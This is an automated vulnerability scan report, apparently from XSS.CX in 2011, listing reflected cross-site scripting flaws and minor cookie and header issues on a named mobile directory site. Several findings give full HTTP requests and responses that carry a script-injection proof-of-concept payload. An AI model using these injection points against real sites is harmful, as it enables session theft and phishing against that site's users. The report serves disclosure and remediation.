XSS, m.superpages.com, DORK, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sat Apr 02 09:33:05 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.city parameter]

1.2. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.state parameter]

1.3. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.street parameter]

1.4. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.zip parameter]

1.5. http://m.superpages.com/mobile/drivingdirections.sp [endAddressText parameter]

1.6. http://m.superpages.com/mobile/drivingdirections.sp [mapHeight parameter]

1.7. http://m.superpages.com/mobile/drivingdirections.sp [mapWidth parameter]

1.8. http://m.superpages.com/mobile/drivingdirections.sp [name of an arbitrarily supplied request parameter]

1.9. http://m.superpages.com/mobile/drivingdirections.sp [reverse parameter]

1.10. http://m.superpages.com/mobile/drivingdirections.sp [src parameter]

1.11. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.city parameter]

1.12. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.state parameter]

1.13. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.street parameter]

1.14. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.zip parameter]

1.15. http://m.superpages.com/mobile/drivingdirections.sp [x parameter]

1.16. http://m.superpages.com/mobile/drivingdirections.sp [y parameter]

1.17. http://m.superpages.com/mobile/yellow.sp [longName parameter]

1.18. http://m.superpages.com/mobile/yellow.sp [longName parameter]

1.19. http://m.superpages.com/mobile/yellow.sp [name of an arbitrarily supplied request parameter]

1.20. http://m.superpages.com/mobile/yellow.sp [src parameter]

2. Cookie without HttpOnly flag set

2.1. http://m.superpages.com/mobile/category.sp

2.2. http://m.superpages.com/mobile/drivingdirections.sp

2.3. http://m.superpages.com/mobile/smart.sp

2.4. http://m.superpages.com/mobile/whitepages.sp

2.5. http://m.superpages.com/mobile/wireless.sp

2.6. http://m.superpages.com/mobile/yellow.sp

3. Cross-domain Referer leakage

3.1. http://m.superpages.com/mobile/drivingdirections.sp

3.2. http://m.superpages.com/mobile/drivingdirections.sp

3.3. http://m.superpages.com/mobile/drivingdirections.sp

3.4. http://m.superpages.com/mobile/drivingdirections.sp

3.5. http://m.superpages.com/mobile/drivingdirections.sp

3.6. http://m.superpages.com/mobile/drivingdirections.sp

3.7. http://m.superpages.com/mobile/smart.sp

3.8. http://m.superpages.com/mobile/wireless.sp

4. Cross-domain script include

4.1. http://m.superpages.com/mobile/smart.sp

4.2. http://m.superpages.com/mobile/wireless.sp

5. HTML does not specify charset

6. Content type is not specified

6.1. http://m.superpages.com/favicon.ico

6.2. http://m.superpages.com/mobile/images/favicon.ico



1. Cross-site scripting (reflected)  next
There are 20 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.city parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the endAddress.city request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc41c"><script>alert(1)</script>ecfef1796f4 was submitted in the endAddress.city parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+Yorkfc41c"><script>alert(1)</script>ecfef1796f4&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=1725D2B818237DAFBFEB3CC035775ACC; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:22:15 GMT
Content-Length: 24843


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+Yorkfc41c"><script>alert(1)</script>ecfef1796f4&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress
...[SNIP]...

1.2. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.state parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the endAddress.state request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cb0e"><script>alert(1)</script>cd4c068340a was submitted in the endAddress.state parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY2cb0e"><script>alert(1)</script>cd4c068340a&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=D2F804C0BD261C5235C2477CFB7F12E1; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:22:29 GMT
Content-Length: 24842


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY2cb0e"><script>alert(1)</script>cd4c068340a&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.
...[SNIP]...

1.3. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.street parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the endAddress.street request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de8fb"><script>alert(1)</script>4c7c16bda59 was submitted in the endAddress.street parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=de8fb"><script>alert(1)</script>4c7c16bda59&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=D6BC4B08C5E22F834A14390A18E69132; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:21:59 GMT
Content-Length: 24845


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&src=wap&mapWidth=&mapHeight=&startAddress.street=de8fb"><script>alert(1)</script>4c7c16bda59&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&end
...[SNIP]...

1.4. http://m.superpages.com/mobile/drivingdirections.sp [endAddress.zip parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the endAddress.zip request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b45e"><script>alert(1)</script>2457179ba33 was submitted in the endAddress.zip parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=100101b45e"><script>alert(1)</script>2457179ba33&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=11431B13CACA4809737736D90600C679; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:22:41 GMT
Content-Length: 24842


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=100101b45e"><script>alert(1)</script>2457179ba33&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&end
...[SNIP]...

1.5. http://m.superpages.com/mobile/drivingdirections.sp [endAddressText parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the endAddressText request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a088"><script>alert(1)</script>aeeaff319fb was submitted in the endAddressText parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+070838a088"><script>alert(1)</script>aeeaff319fb&action=1&keyword=end&src=wap HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/yellow.sp?src=wap&output=xml&lid=0121267046&clickUrl=http%3A%2F%2Fclicks.superpages.com%2Fct%2FclickThrough%3FSRC%3Dwap%26target%3DSP%26PN%3D1%26C%3Dxss%26PGID%3Dyp255.8084.1301753761374.37931820613%26TS%3Dnbt%26subaffiliate%3Dwap%26ACTION%3Dlog%2Cred%26LID%3D0121267046%26TR%3D77%26bidType%3DFLCLIK%26relativePosition%3D2%26position%3D2%26PGSN%3DE0%26RS%3D72%26FL%3Dlist%26TL%3Dprofile%26LOC%3Dhttp%3A%2F%2Fwww.superpages.com%2Fbp%2FUnion-NJ%2FI-N-X-S-Communications-L0121267046.htm%3FSRC%3Dwap%26lbp%3D1%26PGID%3Dyp255.8084.1301753761374.37931820613%26bidType%3DFLCLIK%26TR%3D77&index=3&omniCat=xss&pageNo=null
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=F587FE20E62CF6A2F5884A03C8676C51; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=B422D052592F4A6F133FA19F108B7C6C; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:18:17 GMT
Content-Length: 2922


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/19
...[SNIP]...
<input type="hidden" name="endAddressText" value="2520 Us Hwy No 22 Union NJ 070838a088"><script>alert(1)</script>aeeaff319fb"/>
...[SNIP]...

1.6. http://m.superpages.com/mobile/drivingdirections.sp [mapHeight parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the mapHeight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bea8e"><script>alert(1)</script>a6bac815fd1 was submitted in the mapHeight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=bea8e"><script>alert(1)</script>a6bac815fd1&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=434605D6345A5A1E2140E55953DCF895; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:21:31 GMT
Content-Length: 20972


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=bea8e"><script>alert(1)</script>a6bac815fd1&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.c
...[SNIP]...

1.7. http://m.superpages.com/mobile/drivingdirections.sp [mapWidth parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the mapWidth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bc62"><script>alert(1)</script>7e013075010 was submitted in the mapWidth parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=4bc62"><script>alert(1)</script>7e013075010&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=9A02AA1434FA5780704007F60662C7DA; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:21:24 GMT
Content-Length: 20970


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&mapWidth=4bc62"><script>alert(1)</script>7e013075010&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&sta
...[SNIP]...

1.8. http://m.superpages.com/mobile/drivingdirections.sp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68983"><script>alert(1)</script>c8ab6d5ceb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8&68983"><script>alert(1)</script>c8ab6d5ceb=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=B9FF24614813BBA002B40CFD39B3179C; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:23:40 GMT
Content-Length: 21069


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&68983"><script>alert(1)</script>c8ab6d5ceb=1&reverse=1">
...[SNIP]...

1.9. http://m.superpages.com/mobile/drivingdirections.sp [reverse parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the reverse request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b045"><script>alert(1)</script>841e0c683e1 was submitted in the reverse parameter. This input was echoed unmodified in the application's response.

